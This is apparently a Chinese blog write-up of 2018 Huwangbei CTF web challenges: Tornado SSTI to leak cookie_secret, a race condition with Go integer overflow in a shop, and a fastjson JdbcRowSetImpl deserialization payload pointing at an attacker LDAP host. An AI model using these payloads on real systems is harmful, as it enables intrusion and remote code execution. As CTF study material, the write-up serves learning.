2018护网杯Web题解

easy tornado

题目使用python的tornado框架,且报错页面存在 SSTI ,通过 {{handler.settings}} 获取

1

2

然后根据下面的提示,生成对应的md5值,即可兑换flag。

1
2
3
4
5
6
7
http://49.4.79.120:32271/file?filename=hint.txt&signature=54db05058334f642bf168b66ecf0b154
hint.txt
md5(cookie_secret + md5(filename))

http://49.4.79.120:32271/file?filename=flag.txt&signature=189f79ef34db597f63a4e84798077bc7
flag.txt
/fllllllllllag

ltshop

又是一个买flag的商城。首先每个用户都有初始金额:20¥

3

商城商品如下:

4

20¥最多买4个大辣条,明显不够。尝试使用条件竞争,买到9包大辣条。

5

9包大辣条最多也就换1包辣条之王,而且在兑换辣条之王的数据包中有 number 参数,我们可以先 fuzz 参数,看看返回结果是否会不一样。

6

可以发现 18446744073709551615 是个临界值,通过搜索发现这个数字是mysql中unsigned bigint的最大值。一开始我是以为是mysql整数溢出,后来其他师傅说是go的unsigned int溢出。想了一下,确实有道理,因为从COOKIE就可以看出这是一个go语言开发的Web应用程序,如果在mysql里面发生溢出的话,会直接报错。

我们可以猜测一下溢出是如何发生的。首先我们通过竞争买了9包大辣条,这个数据便记入数据库中。当大辣条大于等于5才能进行兑换辣条之王操作。然后Web应用程序接收用户传上来的 number 参数,该参数用来表示要兑换的辣条之王数量,然后进行下面的判断操作:

1
2
number*5  <  用户拥有的大辣条数量
用户POST的number乘以5 是否小于 用户已有的大辣条数量(竞争来的大辣条)

如果条件成立,才能进行兑换操作。由于我们兑换所需的辣条之王肯定不够,所以尝试整数溢出,用 18446744073709551615 除以 5 在加 1 ,这样就刚好符合条件。

7

8

9

easy_web

javaweb,不会:)。有百度到很像的漏洞:fastjson 远程反序列化poc的构造和分析 ,然后还是不会。

需要自己搭建一个LDAP服务器:

1
{'name':'user','age':18, "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x/obj","autoCommit":true}

Easy Laravel

在源码中发现git项目地址:https://github.com/qqqqqqvq/easy_laravel ,下载源码审计。还没审计过 Laravel 框架,暂时不会。好累啊,睡觉先,有空再复现一下。

这题可以参考:护网杯-easy laravel-Writeup http://www.venenof.com/index.php/archives/565/

文章作者: Mochazz
文章链接: https://mochazz.github.io/2018/10/13/2018护网杯Web题解/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog